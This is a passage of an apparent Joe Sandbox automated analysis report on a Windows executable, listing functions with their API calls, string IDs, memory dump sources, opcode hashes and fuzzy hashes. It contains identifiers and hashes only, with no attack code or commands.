                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CloseHandle
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 2962429428-0
                                                                                                                                                                    • Opcode ID: 71a4a5de5693dcab2a73995307dc02eb63390f7ea8d50aa23e6eb166249b21b2
                                                                                                                                                                    • Instruction ID: 4b9f5304de971135d0e3cb213682693a24a3313c466d398219a2bd9d045f37fa
                                                                                                                                                                    • Opcode Fuzzy Hash: 71a4a5de5693dcab2a73995307dc02eb63390f7ea8d50aa23e6eb166249b21b2
                                                                                                                                                                    • Instruction Fuzzy Hash: C2F0C822A0864254FB249B38E140378A660DB22B7CFDA9334D73C051CCCFA8D895C320
                                                                                                                                                                    Function 00007FF7B1DF4870 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AllocHeap
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 4292702814-0
                                                                                                                                                                    • Opcode ID: 8bb2d0cab1606aae57c35f2d6f1fd3209e502161cdab12386304fb3f6452b931
                                                                                                                                                                    • Instruction ID: 8e58557ec6516a1574374c4fe3af5973764342176143849f0b5dd97737d2f935
                                                                                                                                                                    • Opcode Fuzzy Hash: 8bb2d0cab1606aae57c35f2d6f1fd3209e502161cdab12386304fb3f6452b931
                                                                                                                                                                    • Instruction Fuzzy Hash: AEF05810F0968785FB6436AA5880275D3C05FA67A9F884634DF2E863CEDFECA6818170

                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                    Function 00007FF7B1DE62F0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 205windowCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Item$DialogMessageSendTextWindow
                                                                                                                                                                    • String ID: %s %s$REPLACEFILEDLG$|%}
                                                                                                                                                                    • API String ID: 1217692187-2517550102
                                                                                                                                                                    • Opcode ID: 7e743eea4c5fe27cbc475bff0a032f79460ee1a4e6b162aad2cbbf898a43113e
                                                                                                                                                                    • Instruction ID: 00d578c5481e6a7f477cc6682f8bb61bd18b987b976493f1d1a3e91b1df93dd5
                                                                                                                                                                    • Opcode Fuzzy Hash: 7e743eea4c5fe27cbc475bff0a032f79460ee1a4e6b162aad2cbbf898a43113e
                                                                                                                                                                    • Instruction Fuzzy Hash: 2D919362608A8286FB24BF69D8543EDA351FB56B8DF844135CB0D0BB8EDFBC9605C710
                                                                                                                                                                    Function 00007FF7B1DF93D0 Relevance: 25.8, APIs: 9, Strings: 5, Instructions: 1310COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
                                                                                                                                                                    • String ID: 1#IND$1#INF$1#QNAN$1#SNAN$|%}
                                                                                                                                                                    • API String ID: 281475176-432130774
                                                                                                                                                                    • Opcode ID: 138aa20f64d2b872b9cafcae301f720a79689025565da3af3d40d5d75cc2fd4f
                                                                                                                                                                    • Instruction ID: 15f4d3b7c822ad1a89acf49d3bc156aa35cddd48ab8d26fb7c67aa8fec219c59
                                                                                                                                                                    • Opcode Fuzzy Hash: 138aa20f64d2b872b9cafcae301f720a79689025565da3af3d40d5d75cc2fd4f
                                                                                                                                                                    • Instruction Fuzzy Hash: 52B2E872E081828AE7299F6DD4507F9B7A1FB6538CF905135DB0A57B8CDBB8E604CB10
                                                                                                                                                                    Function 00007FF7B1DEE7F4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 1239891234-1550162156
                                                                                                                                                                    • Opcode ID: 00624823e57681c30c13fece64d8aaf11efe22d58e077a3bdf7bc942a834ef76
                                                                                                                                                                    • Instruction ID: 15c67a3951cd954ca3f3fdde42ee6f79528acd3292a2d257dda5f71b48b77331
                                                                                                                                                                    • Opcode Fuzzy Hash: 00624823e57681c30c13fece64d8aaf11efe22d58e077a3bdf7bc942a834ef76
                                                                                                                                                                    • Instruction Fuzzy Hash: F6319637604B8185EB649F28E8402ADB3A0FB95759F84413AEB8D43B5CDF7CD545C710
                                                                                                                                                                    Function 00007FF7B1DEA3B8 Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3140674995-0
                                                                                                                                                                    • Opcode ID: 30e0005e86cff94bdb5f8170cda726c4d3beec0a3525fda062c9092959c450a5
                                                                                                                                                                    • Instruction ID: 70132f4635878beddc6a234c0e2401aaa384a70aa0f13956b3a3f4e415571960
                                                                                                                                                                    • Opcode Fuzzy Hash: 30e0005e86cff94bdb5f8170cda726c4d3beec0a3525fda062c9092959c450a5
                                                                                                                                                                    • Instruction Fuzzy Hash: 0B317076604A8289EB649F64E8803EDB361FB95749F84443ADB4D47B98DF7CC648C710
                                                                                                                                                                    Function 00007FF7B1DF6BB4 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 164COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1DF6BE4
                                                                                                                                                                      • Part of subcall function 00007FF7B1DEEA50: GetCurrentProcess.KERNEL32(00007FF7B1DF7DED), ref: 00007FF7B1DEEA7D
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CurrentProcess_invalid_parameter_noinfo
                                                                                                                                                                    • String ID: *?$.$|%}
                                                                                                                                                                    • API String ID: 2518042432-4205000578
                                                                                                                                                                    • Opcode ID: 87d11017d9341af364725c3e67d9608657ad904e7b04912313f7914f5ad83397
                                                                                                                                                                    • Instruction ID: 82674c3ed77418b9c0ed64ce9a99a64465ce92ad23f65b588dd3f857585f7a97
                                                                                                                                                                    • Opcode Fuzzy Hash: 87d11017d9341af364725c3e67d9608657ad904e7b04912313f7914f5ad83397
                                                                                                                                                                    • Instruction Fuzzy Hash: B051F162F14A9581EF10EF6A98001A9A7A4FB69BDCB844532DF5D07F8DDFBCD1418320
                                                                                                                                                                    Function 00007FF7B1DE41FC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ObjectRelease$CapsDevice
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 1061551593-1550162156
                                                                                                                                                                    • Opcode ID: 434afd39a949f959f1fbe7fcbb1bc365373ab6095110232238b2a3c13369e3f7
                                                                                                                                                                    • Instruction ID: 174e6dbb2659ed1e9a8cee951889d923fa046bbb39f41cbb02ece5d2268c63fd
                                                                                                                                                                    • Opcode Fuzzy Hash: 434afd39a949f959f1fbe7fcbb1bc365373ab6095110232238b2a3c13369e3f7
                                                                                                                                                                    • Instruction Fuzzy Hash: 80813932B18A0586EB14AFAAD4806ACB771FB99B8DF508136CF0D57B68DF78E105C350
                                                                                                                                                                    Function 00007FF7B1DF6DC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: .$|%}
                                                                                                                                                                    • API String ID: 0-2201168767
                                                                                                                                                                    • Opcode ID: 7e223753cbb0d098fc9d63f62c557380f881683af043a5de1f54d36ddfe02510
                                                                                                                                                                    • Instruction ID: bf50eeb5cae1ee22cafefec6c91d12b2afa4ac80cedb82b43e9ab7569f2698c5
                                                                                                                                                                    • Opcode Fuzzy Hash: 7e223753cbb0d098fc9d63f62c557380f881683af043a5de1f54d36ddfe02510
                                                                                                                                                                    • Instruction Fuzzy Hash: AB31EC22B1469145EB20AF3AD8057A5EB91AB56BE8F948635EF5C07FCDDE7CD6018300
                                                                                                                                                                    Function 00007FF7B1DE4CE8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FormatInfoLocaleNumber
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 2169056816-1550162156
                                                                                                                                                                    • Opcode ID: f88d475bfbfff7b674aebf49a1ef2a05e2ac82beef8a94fc9049c487f82c89bd
                                                                                                                                                                    • Instruction ID: 52c51a30006421f8905c1b5a7a6526f741d92f4b77db2b2ca6a57824bc8156d2
                                                                                                                                                                    • Opcode Fuzzy Hash: f88d475bfbfff7b674aebf49a1ef2a05e2ac82beef8a94fc9049c487f82c89bd
                                                                                                                                                                    • Instruction Fuzzy Hash: E1118C26A08780C5E720AF24E8013E9B360FF99B49FC84135EB4C03668DF7CE145C714
                                                                                                                                                                    Function 00007FF7B1DF8F00 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: memcpy_s
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1502251526-0
                                                                                                                                                                    • Opcode ID: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
                                                                                                                                                                    • Instruction ID: 71878abfdf489573de6533c222f868a5dd0ce29dfc91fd64c2730854188a5e5a
                                                                                                                                                                    • Opcode Fuzzy Hash: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
                                                                                                                                                                    • Instruction Fuzzy Hash: D2D1B432B1828687DB38DF19E19476AB7A1FB99748F949134DB4E57B4CCA3CE941CB00
                                                                                                                                                                    Function 00007FF7B1DD3B10 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Version
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 1889659487-1550162156
                                                                                                                                                                    • Opcode ID: 1ada32755e96775185cc985e92dc68e63766ffd3a29144c593546efedc2bec49
                                                                                                                                                                    • Instruction ID: 674a5fe5d51a468fc0eeb3389833b6f404c79e9892f53cfdfdf4fb9d76a865e9
                                                                                                                                                                    • Opcode Fuzzy Hash: 1ada32755e96775185cc985e92dc68e63766ffd3a29144c593546efedc2bec49
                                                                                                                                                                    • Instruction Fuzzy Hash: B8012DB1A0C54287E724EB18E8513B5B391FBAA759F910275E74D86398CFBCE5018B24
                                                                                                                                                                    Function 00007FF7B1DFCBD8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ExceptionRaise_clrfp
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 15204871-0
                                                                                                                                                                    • Opcode ID: 48149d93cb04e965030c1456af6ef5ca544fe12c8eaafc8cc72e3d8d4d9bd7b4
                                                                                                                                                                    • Instruction ID: 3f573deba284a3579eedb6a67c7cfd864a25c496dab019b13d4cf655bfb82f17
                                                                                                                                                                    • Opcode Fuzzy Hash: 48149d93cb04e965030c1456af6ef5ca544fe12c8eaafc8cc72e3d8d4d9bd7b4
                                                                                                                                                                    • Instruction Fuzzy Hash: 8DB13673A00B888AEB15DF2DC846368BBA0F745B48F948932DB5D837A8CB79D561C710
                                                                                                                                                                    Function 00007FF7B1DD1C18 Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFormatLastMessage
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3479602957-0
                                                                                                                                                                    • Opcode ID: 6770c0ad4a9a0f244e45bc1204239cf4a9539eb8119f4b349ddb2516eb6b789c
                                                                                                                                                                    • Instruction ID: 26ec65d749ecc90219b546c99f42c4e8be012882ae8ff4b481e4a730562eccbd
                                                                                                                                                                    • Opcode Fuzzy Hash: 6770c0ad4a9a0f244e45bc1204239cf4a9539eb8119f4b349ddb2516eb6b789c
                                                                                                                                                                    • Instruction Fuzzy Hash: 71E06562B0864192F7109F2AF44432AE395FB66BC8F598138DB8947A9CDF7CC5518714
                                                                                                                                                                    Function 00007FF7B1DEFBEC Relevance: 2.7, Strings: 2, Instructions: 219COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
